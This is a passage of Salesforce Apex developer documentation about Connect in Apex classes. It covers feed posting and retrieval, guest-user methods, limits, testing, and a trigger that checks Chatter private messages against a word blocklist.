- **Streams**—Contains all feed items for any combination of up to 25 feed-enabled entities that the context user subscribes to in a stream. Examples of feed-enabled entities include people, groups, and records,
- **To**—Contains all feed items with mentions of the context user. Contains feed items the context user commented on and feed items created by the context user that are commented on.
- **Topics**—Contains all feed items that include the specified topic.
- **UserProfile**—Contains feed items created when a user changes records that can be tracked in a feed. Contains feed items whose parent is the user and feed items that @mention the user. This feed is different than the news feed, which returns more feed items, including group updates. You can get another user's user profile feed.
- **Favorites**—Contains favorites saved by the context user. Favorites are feed searches, list views, and topics.

Post a Feed Item Using `postFeedElement`

 **Tip:** The `postFeedElement` methods are the simplest, most efficient way to post feed items because, unlike the `postFeedItem` methods, they don't require you to pass a feed type. Feed items are the only feed element type you can post.

Use these methods to post feed items.

`postFeedElement(communityId, subjectId, feedElementType, text)`

Post a plain-text feed element.

`postFeedElement(communityId, feedElement, feedElementFileUpload)` (version 35.0 and earlier)

Post a rich-text feed element. Include mentions and hashtag topics, attach a file to a feed element, and associate action link groups with a feed element. You can also use this method to share a feed element and add a comment.

`postFeedElement(communityId, feedElement)` (version 36.0 and later)

Post a rich-text feed element. Include mentions and hashtag topics, attach already uploaded files to a feed element, and associate action link groups with a feed element. You can also use this method to share a feed element and add a comment.

When you post a feed item, you create a child of a standard or custom object. Specify the parent object in the **`subjectId`** parameter or in the **`subjectId`** property of the `ConnectApi.FeedElementInput` object you pass in the **`feedElement`** parameter. The value of the **`subjectId`** parameter determines the feeds in which the feed item is displayed. The **`parent`** property in the returned `ConnectApi.FeedItem` object contains information about the parent object.

Use these methods to complete these tasks.

Post to yourself

This code posts a feed item to the context user. The **`subjectId`** specifies `me`, which is an alias for the context user's ID. It could also specify the context user's ID.

```
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null, 'me',
    ConnectApi.FeedElementType.FeedItem, 'Working from home today.');
```

The **`parent`** property of the newly posted feed item contains the `ConnectApi.UserSummary` of the context user.

Post to another user

This code posts a feed item to a user other than the context user. The **subjectId** specifies the user ID of the target user.

```
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
'005D00000016Qxp', ConnectApi.FeedElementType.FeedItem, 'Kevin, do you have information
about the new categories?');
```

The parent property of the newly posted feed item contains the `ConnectApi.UserSummary` of the target user.

Post to a group

This code posts a feed item to a group. The **subjectId** specifies the group ID.

```
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

mentionSegmentInput.id = '005RR000000Dme9';
messageBodyInput.messageSegments.add(mentionSegmentInput);

textSegmentInput.text = 'Could you take a look?';
messageBodyInput.messageSegments.add(textSegmentInput);

feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
feedItemInput.subjectId = '0F9RR0000004CPw';

ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
```

The parent property of the newly posted feed item contains the `ConnectApi.ChatterGroupSummary` of the specified group.

Post to a record (such as a file or an account)

This code posts a feed item to a record and mentions a group. The **subjectId** specifies the record ID.

```
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

textSegmentInput.text = 'Does anyone know anyone with contacts here?';
messageBodyInput.messageSegments.add(textSegmentInput);

// Mention a group.
mentionSegmentInput.id = '0F9D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);

feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;

// Use a record ID for the subject ID.
```

```
feedItemInput.subjectId = '001D000000JVwL9';

ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
feedItemInput);
```

The `parent` property of the new feed item depends on the record type specified in **`subjectId`**. If the record type is File, the parent is `ConnectApi.FileSummary`. If the record type is Group, the parent is `ConnectApi.ChatterGroupSummary`. If the record type is User, the parent is `ConnectApi.UserSummary`. For all other record types, as in this example that uses an Account, the parent is `ConnectApi.RecordSummary`.

Get Feed Elements from a Feed



Tip: To return a feed that includes feed elements, call these methods. Feed element types include feed item, bundle, and recommendation.

Getting feed items from a feed is similar, but not identical, for each feed type.

Get feed elements from the **Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview** feeds

To get the feed elements from these feeds, use these methods that don't require a `subjectId`.

- `getFeedElementsFromFeed(communityId, feedType)`
- `getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)`
- `getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)`
- `getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter)`
- `getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter, threadedCommentsCollapsed)`

Get feed elements from the **Favorites** feed

To get the feed elements from the favorites feed, specify a `favoriteId`. For these feeds, the `subjectId` must be the ID of the context user or the alias `me`.

- `getFeedElements(communityId, subjectId, favoriteId)`
- `getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)`
- `getFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam)`

Get feed elements from the **Filter** feed

To get the feed elements from the filters feed, specify a `keyPrefix`. The `keyPrefix` indicates the object type and is the first three characters of the object ID. The `subjectId` must be the ID of the context user or the alias `me`.

- `getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix)`
- `getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)`
- `getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam)`

Get feed elements from the **Bookmarks, Files, Groups, Mute, News, People, Record, Streams, To, Topics, and UserProfile** feeds

To get the feed elements from these feed types, specify a subject ID. If `feedType` is `Record`, `subjectId` can be any record ID, including a group ID. If `feedType` is `Streams`, `subjectId` must be a stream ID. If `feedType` is `Topics`, `subjectId`

must be a topic ID. If *feedType* is *UserProfile*, *subjectId* can be any user ID. If the *feedType* is any other value, *subjectId* must be the ID of the context user or the alias me.

- `getFeedElementsFromFeed(communityId, feedType, subjectId)`
- `getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)`
- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)`
- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter)`
- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter, threadedCommentsCollapsed)`

Get feed elements from a Record feed

For *subjectId*, specify a record ID.



Tip: The record can be a record of any type that supports feeds, including group. The feed on the group page in the Salesforce UI is a record feed.

- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly)`
- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, customFilter)`
- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly)`
- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, filter)`
- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, customFilter)`
- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, filter, threadedCommentsCollapsed)`
- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, customFilter, threadedCommentsCollapsed)`

SEE ALSO:

[Apex Reference Guide: ChatterFavorites Class](#)

[Apex Reference Guide: ChatterFeeds Class](#)

[Apex Reference Guide: ConnectApi Output Classes](#)

[Apex Reference Guide: ConnectApi Input Classes](#)

Accessing **ConnectApi** Data in Experience Cloud Sites

Many **ConnectApi** methods work within the context of a single Experience Cloud site.

Many `ConnectApi` methods include **`communityId`** as the first argument. If you don't have digital experiences enabled, use `internal` or `null` for this argument.

If you have digital experiences enabled, the `communityId` argument specifies whether to execute a method in the context of the default Experience Cloud site (by specifying `internal` or `null`) or in the context of a specific site (by specifying an ID). Any entity, such as a comment or a feed item, referred to by other arguments in the method must be in the specified site. The ID is included in URLs returned in the output.

Some `ConnectApi` methods include **`siteId`** as an argument. Unlike **`communityId`**, if you don't have digital experiences enabled, you can't use these methods. The site ID is included in URLs returned in the output.

Most URLs returned in `ConnectApi` output objects are Connect REST API resources.

If you specify an ID, URLs returned in the output use the following format:

```
/connect/communities/communityId/resource
```

If you specify `internal`, URLs returned in the output use the same format:

```
/connect/communities/internal/resource
```

If you specify `null`, URLs returned in the output use one of these formats:

```
/chatter/resource
```

```
/connect/resource
```

Methods Available to Experience Cloud Guest Users

If your Experience Cloud site allows access without logging in, guest users have access to many Apex methods. These methods return information the guest user has access to.

All overloads of these methods are available to guest users.

 **Important:** If an overload of a method listed here indicates that Chatter is required, you must also [enable public access](#) to your Experience Cloud site to make the method available to guest users. If you don't enable public access, data retrieved by methods that require Chatter doesn't load correctly on public site pages.

- Announcements methods:
 - `getAnnouncements()`
- ChatterFeeds methods:
 - `getComment()`
 - `getCommentInContext()`
 - `getCommentsForFeedElement()`
 - `getExtensions()`
 - `getFeed()`
 - `getFeedElement()`
 - `getFeedElementBatch()`
 - `getFeedElementPoll()`
 - `getFeedElementsFromFeed()`
 - `getFeedElementsUpdatedSince()`
 - `getFeedWithFeedElements()`

- `getLike()`
- `getLikesForComment()`
- `getLikesForFeedElement()`
- `getLinkMetadata()`
- `getPinnedFeedElementsFromFeed()`
- `getRelatedPosts()`
- `getThreadsForFeedComment()`
- `getVotesForComment()`
- `getVotesForFeedElement()`
- `searchFeedElements()`
- `searchFeedElementsInFeed()`
- `updatePinnedFeedElements()`
- ChatterGroups methods:
 - `getGroup()`
 - `getGroups()`
 - `getMembers()`
 - `searchGroups()`
- ChatterUsers methods:
 - `getFollowers()`
 - `getFollowings()`
 - `getReputation()`
 - `getUser()`
 - `getUserBatch()`
 - `getUserGroups()`
 - `getUsers()`
 - `searchUserGroupDetails()`
 - `searchUsers()`
- CommerceCart methods:
 - `addItemToCart()`
 - `addItemsToCart()`
 - `applyCartCoupon()`
 - `calculateCart()`
 - `cloneCart()`
 - `copyCartToWishlist()`
 - `createCart()`
 - `deleteCart()`
 - `deleteCartCoupon()`
 - `deleteCartItem()`
 - `deleteInventoryReservation()` (developer preview)

- `evaluateShipping()`
 - `evaluateTaxes()`
 - `getCartCoupons()`
 - `getCartItems()`
 - `getCartCompactSummary()`
 - `getCartSummary()`
 - `getOrCreateActiveCartSummary()`
 - `makeCartPrimary()`
 - `setCartMessagesVisibility()`
 - `updateCartItem()`
 - `upsertInventoryReservation()` (developer preview)
- CommerceCatalog methods:
 - `getCategoryMenuItems()`
 - `getProduct()`
 - `getProducts()`
 - `getProductCategory()`
 - `getProductCategoryChildren()`
 - `getProductCategoryPath()`
 - `getProductChildCollection()`
- CommercePromotions methods:
 - `decreaseRedemption()`
 - `evaluate()`
 - `increaseRedemption()`
- CommerceSearch methods:
 - `getSortRules()`
 - `getSuggestions()`
 - `searchProducts()`
- CommerceStorePricing methods:
 - `getProductPrice()`
 - `getProductPrices()`
- Communities methods:
 - `getCommunity()`
- EmployeeProfiles methods:
 - `getPhoto()`
- ExtendedCommerceDelivery methods:
 - `estimateDeliveryDate()`
- Knowledge methods:

- `getTopViewedArticlesForTopic()`
 - `getTrendingArticles()`
 - `getTrendingArticlesForTopic()`
- ManagedContent methods:
 - `getAllContent()`
 - `getAllDeliveryChannels()`
 - `getAllManagedContent()`
 - `getContentByContentKeys()`
 - `getContentByIds()`
 - `getManagedContentByContentKeys()`
 - `getManagedContentByIds()`
 - `getManagedContentByTopics()`
 - `getManagedContentByTopicsAndContentKeys()`
 - `getManagedContentByTopicsAndIds()`
- ManagedContentDelivery methods:
 - `getChannel()`
 - `getChannels()`
 - `getCollectionItemsForChannel()`
 - `getCollectionItemsForSite()`
 - `getManagedContentChannel()`
 - `getManagedContentForChannel()`
 - `getManagedContentForSite()`
 - `getManagedContentsForChannel()`
 - `getManagedContentsForSite()`
- ManagedTopics methods:
 - `getManagedTopic()`
 - `getManagedTopics()`
- MarketingIntegration methods:
 - `submitForm()`
- NavigationMenu methods:
 - `getCommunityNavigationMenu()`
- NextBestActions methods:
 - `executeStrategy()`
 - `setRecommendationReaction()`
- Personalization methods:
 - `getAudience()`
 - `getAudienceBatch()`

- `getAudiences()`
- `getTarget()`
- `getTargetBatch()`
- `getTargets()`
- Recommendations methods:
 - `getRecommendationsForUser()`
-  **Note:** Only article and file recommendations are available to guest users.
- RecordUi methods.
 - `getPicklistValuesByRecordType()`
- Search methods.
 - `answer()`
 - `find()`
 - `findAndGroup()`
- Sites methods:
 - `searchSite()`
- Topics methods:
 - `getGroupsRecentlyTalkingAboutTopic()`
 - `getRecentlyTalkingAboutTopicsForGroup()`
 - `getRecentlyTalkingAboutTopicsForUser()`
 - `getRelatedTopics()`
 - `getTopic()`
 - `getTopics()`
 - `getTrendingTopics()`
- UserProfiles methods:
 - `getPhoto()`

SEE ALSO:

[Salesforce Help: Give Secure Access to Unauthenticated Users with the Guest User Profile](#)

Supported Validations for DBT Segments

When creating or updating a segment, the `ConnectApi.CdpSegmentInput` class is subject to some SQL validations.

You can create a segment using the `createSegment(input)` method with the `ConnectApi.CdpSegmentInput` class. Similarly, you can update a segment using the `updateSegment(segmentApiName, input)` method with the same input class. The `ConnectApi.CdpSegmentDbtModelInput` input class, which is nested in the `ConnectApi.CdpSegmentInput` class, provides validation for the SQL.

The `sql` property of the `ConnectApi.CdpSegmentDbtModelInput` is subject to these validations.

Using `ConnectApi` Input and Output Classes

Some classes in the `ConnectApi` namespace contain static methods that access Connect REST API data. The `ConnectApi` namespace also contains input classes to pass as parameters and output classes that calls to the static methods return.

`ConnectApi` methods take either simple or complex types. Simple types are primitive Apex data like integers and strings. Complex types are `ConnectApi` input objects.

The successful execution of a `ConnectApi` method can return an output object from the `ConnectApi` namespace. `ConnectApi` output objects can be made up of other output objects. For example, the `ConnectApi.ActorWithId` output object contains properties such as `id` and `url`, which contain primitive data types. It also contains a `mySubscription` property, which contains a `ConnectApi.Reference` object.



Note: All Salesforce IDs in `ConnectApi` output objects are 18 character IDs. Input objects can use 15 character IDs or 18 character IDs.

SEE ALSO:

[Apex Reference Guide: ConnectApi Input Classes](#)

[Apex Reference Guide: ConnectApi Output Classes](#)

Understanding Limits for `ConnectApi` Classes

Limits for methods in the `ConnectApi` namespace are different than the limits for other Apex classes.

For classes in the `ConnectApi` namespace, every write operation costs one DML statement against the Apex governor limit.

`ConnectApi` method calls are also subject to rate limits. Most `ConnectApi` method calls count toward the [Salesforce Platform total API request allocations](#), which are per org and span a 24-hour period. Only `ConnectApi` method calls that require Chatter are subject to a per user, per namespace, per hour rate limit. The documentation for every `ConnectApi` method indicates whether Chatter is required. When you exceed the rate limit, a `ConnectApi.RateLimitException` is thrown. Your Apex code must catch and handle this exception.

When testing code, a call to the Apex `Test.startTest` method starts a new rate limit count. A call to the `Test.stopTest` method sets your rate limit count to the value it was before you called `Test.startTest`.

Packaging `ConnectApi` Classes

If you include `ConnectApi` classes in a package, be aware of Chatter dependencies.

If a `ConnectApi` class has a dependency on Chatter, the code can be compiled and installed in orgs that don't have Chatter enabled. However, if Chatter isn't enabled, the code throws an error at run time.

```
System.NoAccessException: Insufficient Privileges: This feature is not currently enabled for this user.
```

In its reference documentation, every `ConnectApi` method indicates whether or not it supports Chatter.

SEE ALSO:

[Develop and Distribute Apex for Managed Packages](#)

Serializing and Deserializing `ConnectApi` Objects

When `ConnectApi` output objects are serialized into JSON, the structure is similar to the JSON returned from Connect REST API.

When `ConnectApi` input objects are deserialized from JSON, the format is also similar to Connect REST API.

Connect in Apex supports serialization and deserialization in these Apex contexts.

- `JSON` and `JSONParser` classes—serialize Connect in Apex outputs to JSON and deserialize Connect in Apex inputs from JSON.
- Apex REST with `@RestResource`—serialize Connect in Apex outputs to JSON as return values and deserialize Connect in Apex inputs from JSON as parameters.
- JavaScript Remoting with `@RemoteAction`—serialize Connect in Apex outputs to JSON as return values and deserialize Connect in Apex inputs from JSON as parameters.

Connect in Apex follows these rules for serialization and deserialization.

- Only output objects can be serialized.
- Only top-level input objects can be deserialized.
- Enum values and exceptions cannot be serialized or deserialized.

ConnectApi Versioning and Equality Checking

Versioning in `ConnectApi` classes follows specific rules that are different than the rules for other Apex classes.

Versioning for `ConnectApi` classes follows these rules.

- A `ConnectApi` method call executes in the context of the version of the class that contains the method call. The use of version is analogous to the `/vxx.x` section of a Connect REST API URL.
- Each `ConnectApi` output object exposes a `getBuildVersion` method. This method returns the version under which the method that created the output object was invoked.
- When interacting with input objects, Apex can access only properties supported by the version of the enclosing Apex class.
- Input objects passed to a `ConnectApi` method may contain only non-null properties that are supported by the version of the Apex class executing the method. If the input object contains version-inappropriate properties, an exception is thrown.
- The output of the `toString` method only returns properties that are supported in the version of the code interacting with the object. For output objects, the returned properties must also be supported in the build version.
- Apex REST, `JSON.serialize`, and `@RemoteAction` serialization include only version-appropriate properties.
- Apex REST, `JSON.deserialize`, and `@RemoteAction` deserialization reject properties that are version-inappropriate.
- Enums are not versioned. Enum values are returned in all API versions. Clients should handle values they don't understand gracefully.

Equality checking for `ConnectApi` classes follows these rules.

- Input objects—properties are compared.
- Output objects—properties and build versions are compared. For example, if two objects have the same properties with the same values but have different build versions, the objects are not equal. To get the build version, call `getBuildVersion`.

Casting ConnectApi Objects

It may be useful to downcast some `ConnectApi` output objects to a more specific type.

This technique is especially useful for message segments, feed item capabilities, and record fields. Message segments in a feed item are typed as `ConnectApi.MessageSegment`. Feed item capabilities are typed as `ConnectApi.FeedItemCapability`. Record fields are typed as `ConnectApi.AbstractRecordField`. These classes are all abstract and have several concrete subclasses. At runtime you can use `instanceof` to check the concrete types of these objects and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.

The following example downcasts a `ConnectApi.MessageSegment` to a `ConnectApi.MentionSegment`:

```
if(segment instanceof ConnectApi.MentionSegment) {
    ConnectApi.MentionSegment = (ConnectApi.MentionSegment) segment;
}
```

 **Important:** The composition of a feed can change between releases. Write your code to handle instances of unknown subclasses.

SEE ALSO:

[Apex Reference Guide: ChatterFeeds Class](#)

[Apex Reference Guide: ConnectApi.FeedElementCapabilities](#)

[Apex Reference Guide: ConnectApi.MessageSegment](#)

[Apex Reference Guide: ConnectApi.AbstractRecordView](#)

Wildcards

Use wildcard characters to match text patterns in Connect REST API and Connect in Apex searches.

A common use for wildcards is searching a feed. Pass a search string and wildcards in the `q` parameter. This example is a Connect REST API request:

```
/chatter/feed-elements?q=chat*
```

This example is a Connect in Apex method call:

```
ConnectApi.ChatterFeeds.searchFeedElements(null, 'chat*');
```

You can specify the following wildcard characters to match text patterns in your search:

Wildcard	Description
*	Asterisks match zero or more characters at the middle or end of your search term. For example, a search for <i>john*</i> finds items that start with <i>john</i>, such as, <i>john</i>, <i>johnson</i>, or <i>johnny</i>. A search for <i>mi* meyers</i> finds items with <i>mike meyers</i> or <i>michael meyers</i>. If you are searching for a literal asterisk in a word or phrase, then escape the asterisk (precede it with the <code>\</code> character).
?	Question marks match only one character in the middle or end of your search term. For example, a search for <i>jo?n</i> finds items with the term <i>john</i> or <i>joan</i> but not <i>jon</i> or <i>johan</i>. You can't use a <code>?</code> in a lookup search.

When using wildcards, consider the following notes:

- The more focused your wildcard search, the faster the search results are returned, and the more likely the results will reflect your intention. For example, to search for all occurrences of the word `prospect` (or `prospects`, the plural form), it is more efficient to specify `prospect*` in the search string than to specify a less restrictive wildcard search (such as `prosp*`) that could return extraneous matches (such as `prosperity`).
- Tailor your searches to find all variations of a word. For example, to find `property` and `properties`, you would specify `propert*`.
- Punctuation is indexed. To find `*` or `?` inside a phrase, you must enclose your search string in quotation marks and you must escape the special character. For example, `"where are you\"?"` finds the phrase `where are you?`. The escape character (`\`) is required in order for this search to work correctly.

Testing `ConnectApi` Code

Like all Apex code, Connect in Apex code requires test coverage.

Connect in Apex methods run in the context of the current user (also called the *context user*). The methods have access to whatever the context user has access to. Connect in Apex doesn't support the `runAs` system method.

Most Connect in Apex methods require access to real org data, and fail unless used in test methods marked `@IsTest(SeeAllData=true)`.

However, some Connect in Apex methods, such as `getFeedElementsFromFeed`, are not permitted to access org data in tests and must be used with special test methods that register outputs to be returned in a test context. If a method requires a `setTest` method, the requirement is stated in the method's "Usage" section.

A test method name is the regular method name with a `setTest` prefix. The test method signature (combination of parameters) matches a signature of the regular method. For example, if the regular method has three overloads, the test method has three overloads.

Using Connect in Apex test methods is similar to testing web services in Apex. First, build the data you expect the method to return. To build data, create output objects and set their properties. To create objects, you can use no-argument constructors for any non-abstract output classes. If you're testing binary input parameters, use the same instance for creating and executing data.

After you build the data, call the test method to register the data. Call the test method that has the same signature as the regular method you're testing.

After you register the test data, run the regular method. When you run the regular method, the registered data is returned.

Important: Use the test method signature that matches the regular method signature. If data wasn't registered with the matching set of parameters when you call the regular method, you receive an exception.

This example shows a test that constructs an `ConnectApi.FeedElementPage` and registers it to be returned when `getFeedElementsFromFeed` is called with a particular combination of parameters.

```
global class NewsFeedClass {
    global static Integer getNewsFeedCount() {
        ConnectApi.FeedElementPage elements =
            ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
                ConnectApi.FeedType.News, 'me');
        return elements.elements.size();
    }
}

@isTest
private class NewsFeedClassTest {
    @IsTest
    static void doTest() {
        // Build a simple feed item
        ConnectApi.FeedElementPage testPage = new ConnectApi.FeedElementPage();
        List<ConnectApi.FeedItem> testItemList = new List<ConnectApi.FeedItem>();
        testItemList.add(new ConnectApi.FeedItem());
        testItemList.add(new ConnectApi.FeedItem());
        testPage.elements = testItemList;

        // Set the test data
        ConnectApi.ChatterFeeds.setTestGetFeedElementsFromFeed(null,
            ConnectApi.FeedType.News, 'me', testPage);

        // The method returns the test page, which we know has two items in it.
        Test.startTest();
    }
}
```

```
        System.assertEquals(2, NewsFeedClass.getNewsFeedCount());
        Test.stopTest();
    }
}
```

SEE ALSO:

[Testing Apex](#)

Differences Between `ConnectApi` Classes and Other Apex Classes

Note these additional differences between `ConnectApi` classes and other Apex classes.

User mode

Connect in Apex methods run in the context of the current user (also called the *context user*). The methods have access to whatever the context user has access to. Connect in Apex doesn't support the `runAs` system method. When a method takes a *subjectId* argument, often that subject must be the context user. In these cases, you can use the string `me` to specify the context user instead of an ID.

Connect in Apex isn't available to Automated Process users by default. Connect in Apex is available to these users:

- Chatter-only users
- Guest users
- Portal users
- Standard users

with sharing and without sharing

Connect in Apex ignores the `with sharing` and `without sharing` keywords. Instead, the context user controls all security, field level sharing, and visibility. For example, if the context user is a member of a private group, `ConnectApi` classes can post to that group. If the context user is not a member of a private group, the code can't see the feed items for that group and can't post to the group.

Asynchronous operations

Some Connect in Apex operations are asynchronous, that is, they don't occur immediately. For example, if your code adds a feed item for a user, it isn't immediately available in the news feed. Another example: when you add a photo, it's not available immediately. For testing, if you add a photo, you can't retrieve it immediately.

No XML support in Apex REST

Apex REST doesn't support XML serialization and deserialization of Connect in Apex objects. Apex REST does support JSON serialization and deserialization of Connect in Apex objects.

Empty log entries

Information about Connect in Apex objects doesn't appear in `VARIABLE_ASSIGNMENT` log events.

No Apex SOAP web services support

Connect in Apex objects can't be used in Apex SOAP web services indicated with the keyword `webservice`.

Moderate Chatter Private Messages with Triggers

Write a trigger for ChatterMessage to automate the moderation of private messages in an org or Experience Cloud site. Use triggers to ensure that messages conform to your company's messaging policies and don't contain blocklisted words.

Write an Apex *before insert* trigger to review the private message body and information about the sender. You can add validation messages to the record or the Body field, which causes the message to fail and an error to be returned to the user.

Although you can create an *after insert* trigger, ChatterMessage is not updatable, and consequently any *after insert* trigger that modifies ChatterMessage will fail at run time with an appropriate error message.

To create a trigger for private messages from Setup, enter *ChatterMessage Triggers* in the Quick Find box, then select **ChatterMessage Triggers**. Alternatively, you can create a trigger from the Developer Console by clicking **File > New > Apex Trigger** and selecting ChatterMessage from the **sObject** drop-down list.

This table lists the fields that are exposed on ChatterMessage.

Table 9: Available Fields in ChatterMessage

Field	Apex Data Type	Description
Id	ID	Unique identifier for the Chatter message
Body	String	Body of the Chatter message as posted by the sender
SenderId	ID	User ID of the sender
SentDate	DateTime	Date and time that the message was sent
SendingNetworkId	ID	Network (site) in which the message was sent. This field is visible only if digital experiences is enabled and Private Messages is enabled in at least one site.

This example shows a *before insert* trigger on ChatterMessage that is used to review each new message. This trigger calls a class method, `moderator.review()`, to review each new message before it is inserted.

```
trigger PrivateMessageModerationTrigger on ChatterMessage (before insert) {
    ChatterMessage[] messages = Trigger.new;

    // Instantiate the Message Moderator using the factory method
    MessageModerator moderator = MessageModerator.getInstance();

    for (ChatterMessage currentMessage : messages) {
        moderator.review(currentMessage);
    }
}
```

If a message violates your policy, for example when the message body contains blocklisted words, you can prevent the message from being sent by calling the Apex `addError` method. You can call `addError` to add a custom error message on a field or on the

EDITIONS

Available in: Salesforce Classic

Available in: **Enterprise, Performance, Unlimited, and Developer** Editions

USER PERMISSIONS

To save Apex triggers for ChatterMessage:

- Author Apex

AND

Manage Chatter Messages and Direct Messages

entire message. The following snippet shows a portion of the `reviewContent` method that adds an error to the message `Body` field.

```
if (proposedMsg.contains(nextBlockListedWord)) {
    theMessage.Body.addError(
        'This message does not conform to the acceptable use policy');
    System.debug('moderation flagged message with word: '
        + nextBlockListedWord);
    problemsFound=true;
    break;
}
```

The following is the full `MessageModerator` class, which contains methods for reviewing the sender and the content of messages. Part of the code in this class has been deleted for brevity.

```
public class MessageModerator {
    private Static List<String> blocklistedWords=null;
    private Static MessageModerator instance=null;

    /**
     Overall review includes checking the content of the message,
     and validating that the sender is allowed to send messages.
    **/
    public void review(ChatterMessage theMessage) {
        reviewContent(theMessage);
        reviewSender(theMessage);
    }

    /**
     This method is used to review the content of the message. If the content
     is unacceptable, field level error(s) are added.
    **/
    public void reviewContent(ChatterMessage theMessage) {
        // Forcing to lower case for matching
        String proposedMsg=theMessage.Body.toLowerCase();
        boolean problemsFound=false; // Assume it's acceptable
        // Iterate through the blocklist looking for matches
        for (String nextBlockListedWord : blocklistedWords) {
            if (proposedMsg.contains(nextBlockListedWord)) {
                theMessage.Body.addError(
                    'This message does not conform to the acceptable use policy');
                System.debug('moderation flagged message with word: '
                    + nextBlockListedWord);
                problemsFound=true;
                break;
            }
        }

        // For demo purposes, we're going to add a "seal of approval" to the
        // message body which is visible.
        if (!problemsFound) {
            theMessage.Body = theMessage.Body +
                ' *** approved, meets conduct guidelines';
        }
    }
}
```



```

    }

    /**
     * Is the sender allowed to send messages in this context?
     * -- Moderators -- always allowed to send
     * -- Internal Members -- always allowed to send
     * -- Site Members -- in general only allowed to send if they have
     *     a sufficient Reputation
     * -- Site Members -- with insufficient reputation may message the
     *     moderator(s)
     */
    public void reviewSender(ChatterMessage theMessage) {
        // Are we in a Site Context?
        boolean isSiteContext = (theMessage.SendingNetworkId != null);

        // Get the User
        User sendingUser = [SELECT Id, Name, UserType, IsPortalEnabled
                           FROM User where Id = :theMessage.SenderId ];

        // ...
    }

    /**
     * Enforce a singleton pattern to improve performance
     */
    public static MessageModerator getInstance() {
        if (instance==null) {
            instance = new MessageModerator();
        }
        return instance;
    }

    /**
     * Default constructor is private to prevent others from instantiating this class
     * without using the factory.
     * Initializes the static members.
     */
    private MessageModerator() {
        initializeBlockList();
    }

    /**
     * Helper method that does the "heavy lifting" to load up the dictionaries
     * from the database.
     * Should only run once to initialize the static member which is used for
     * subsequent validations.
     */
    private void initializeBlockList() {
        if (blocklistedWords==null) {
            // Fill list of blocklisted words
            // ...
        }
    }
}

```

Data Cloud In Apex

You can use Apex with Data Cloud objects, with constraints and considerations that are detailed in this topic. Further, you can mock SOQL query responses for Data Cloud data model objects (DMOs) in Apex testing by using SOQL stub methods and a test class.

Using SOQL in Apex with Data Cloud Objects

Static SOQL is supported with Data Cloud data model objects (DMOs) as a more direct alternative to using either dynamic SOQL or ConnectAPI. Additionally, SOQL queries against DMOs using `Apex.Database.QueryLocator` or in FOR loops is supported in API version 61.0 and later. In versions earlier than 61.0, only the first 201 records are returned. Batch Apex is blocked against DMOs when using `QueryLocators`, but is supported when using `Iterable`.

 **Warning:** Running SOQL queries against DMOs can result in Data Services credits being consumed from your Data Cloud subscription. For more information on how usage is billed, see [Data Cloud Billable Usage Types](#). Use caution when using FOR loops, query locators, recursion, or any mechanism that can result in multiple queries to Data Cloud.

A static SOQL query against Data Cloud from Apex is considered a callout and is subject to the same restrictions as HTTP callouts from Apex. For example, if there is pending DML, this sample code can result in an unexpected exception with this message:

`UnexpectedException: A callout was unsuccessful because of pending uncommitted work related to a process, flow, or Apex operation. Commit or roll back the work, and then try again.`

```
